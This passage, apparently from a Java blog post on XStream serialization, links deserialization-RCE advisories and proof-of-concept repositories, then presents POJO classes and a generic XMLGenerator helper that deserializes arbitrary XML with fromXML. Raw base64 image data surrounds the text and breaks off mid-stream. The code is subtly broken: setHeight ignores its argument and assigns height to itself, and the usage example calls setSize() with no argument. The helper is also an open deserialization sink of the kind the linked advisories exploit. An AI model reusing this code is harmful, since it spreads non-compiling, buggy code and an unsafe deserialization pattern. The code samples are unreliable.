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" alt="" />

Relevant Link:

https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2016-02-24
https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-1-kryo
https://github.com/pwntester/XStreamPOC/blob/master/src/main/java/com/pwntester/xstreampoc/Main.java
http://www.pwntester.com/blog/2013/12/23/rce-via-xstream-object-deserialization38/
http://x-stream.github.io/converters.html
https://github.com/pwntester/XStreamPOC

5. Standard way to serialize and deserialize Objects with XStream 

0x1: Some important rules

. Use only POJO class to generate XML or JSON.
. Use one single class XMLGenerator.java to generate All XML or objects.
. Use one single class JSONGenerator.java to generate All JSON or objects.
. Whenever you want to generate XML or JSON or Object you should be able to generate by single line of code.
. If you want to build web service then you should be careful when using XStream and don't feed it XML retrieved from untrusted sources.

0x2: Prepare Pojo Classes

Square.java

package com.littlehann;
import com.thoughtworks.xstream.annotations.XStreamAlias; @XStreamAlias("square")
public class Square {
@XStreamAlias("size")
int size; public int getSize() {
return size;
} public void setSize(int size) {
this.size = size;
}
}

Rectangle.java

package com.littlehann;

import com.thoughtworks.xstream.annotations.XStreamAlias;

@XStreamAlias("rectangle")
public class Rectangle {
@XStreamAlias("width")
int width;
@XStreamAlias("height")
int height; public int getWidth() {
return width;
} public void setWidth(int width) {
this.width = width;
} public int getHeight() {
return height;
} public void setHeight(int width) {
this.height = height;
}
}

0x3: XMLGenerator.java: A common class for XML conversion

package com.littlehann;

import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.DomDriver; public final class XMLGenerator {
/*
* this class is for generating XML
*/ /*
* initialization of XStream class
*/
private static XStream xstream = new XStream(new DomDriver())
{{
processAnnotations(Square.class);
processAnnotations(Rectangle.class);
}}; /*
* This class is for generating XML from MODEL class
* @param Object
* @return String
*/
public static String generateXML(Object to) {
return null == to ? "" : xstream.toXML(to);
} /*
* Generates the transfer object from the given XML using XStream.
*
* @param String
* @return transfer object
*/
public static Object generateTOfromXML(String xml) {
return xstream.fromXML(xml);
}
}

0x4: Usage 

package com.littlehann;

import java.io.IOException;

/**
* Created by zhenghan.zh on 2016/2/27.
*/
public class Usage {
public static void main(String[] args) throws IOException{
//Convert Object to XML
Square sq = new Square();
sq.setSize();
String resultXML = XMLGenerator.generateXML(sq);
System.out.println(resultXML); //Convert XML to Object
Square sq1 = (Square)XMLGenerator.generateTOfromXML(resultXML);
System.out.println("size: " + sq1.getSize());
}
}

aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAAVkAAABuCAIAAAACmPctAAAGi0lEQVR4nO3dMXKrOhTGcXZzt8CGpFV4JjugosldgtNlhvoldSYzqZKCSfPSXb8N5DbnFcJCICGIAcvG/99QJIaA5o71ccD43OwTAD4/s9QDAHARyAIAn59kAQAj+w0Av39nrwDw+pq9vb1J139/DywXvgiwNLLgKpck7xVsG1lwlUuS9wq2jSy4yiXJewXbRhZc5ZLkvYJtm5UFh6/9Til1t//4/rPqW98/0OH7qVRKa63un/obfz+VSilVPkdHFRn8xD2QBdiSQBaYOWb4M607Z94f7pRSu4evzpz5eNxpx+7xfW4WhA7UzNhAFrw/3I0n1NDgnVVkAW5IIAuaOXa3/3gpR2eymfb+Nu1OFppO/oGGsmDOPq9lSfJewbZFs6A7n4OV81ClvXgWDF0mzMmCs13jkAW4fBOyYKxUfr5XWuvyZSQL7IWDKcvbC35VlvfND+ZAvS2HDmT34F6JHF7K4982e+tt1isE/MH7e1hk8GQBLtwCWWAmT+/8fBisKZ5KpZp5+7XfKbV7fD987XfRLYMHOm65e3jpnN79+qXd8stbFRl8N01mDp4swIWLZsG0Ejp87eDVBfZ8257D7d27x9Kf8/45PD5FQ6//8f4wssobvBcZcwZPFuDCxbLgefKttUClPaEuaE/LTjkdP7W6B/p5XRDIgtjgo3XBCYMnC3DJRj5TjJyW3cWvtON1gdbarAp+/hfc0j/Q4fupVLvdXTPaJiC6f1u+tNf2nX1GLxPidcHJg+/8i02rR4ZeTPJewbYt89yhPUXv//2neeOaCbb0LXrnyn+x3fr7bD5f4PkC3JLln0E2JffaN9LXWNwK4sIHn+S9gm3j+whXuSR5r2DbyIKrXJK8V7BtgSwAcIPIAgAiZAEAgywAIEIWADDIAgAiZAEAI54FldbV+caS9qjAbYtkQaWzVHMy4aGBGzWUBXWRp52Nlc6LOuUAgNsSzgJ/IlY6a9g15qW8qIqian7T7g8iUhe5+SO7Ist01bx6zJrmV2/qJ48j4JYEs8Av0f1X6iLPi9rMZLPKbhP/oTfrj/sJ5w9hAJzJ0DVCMA56VcHozHfLCW+V9LfIOqsIAuCsJt47rIomA+yLw3VBpfszP1A7WLYuEKnrY11AEADnNvEzRXvh75y8m0Ihz3t3B7TWbh2QZVmuVJ5lv+wuvKuE7p75TBE4v/nPGnEOB7ZgZhYcz+mkAXDleAYZgAhZAMAgCwCIkAUADLIAgAhZAMAgCwCIkAUAjLWzIMVTiZX2vwDtrOO5KCBgiWeQY5OrLtSPW5J0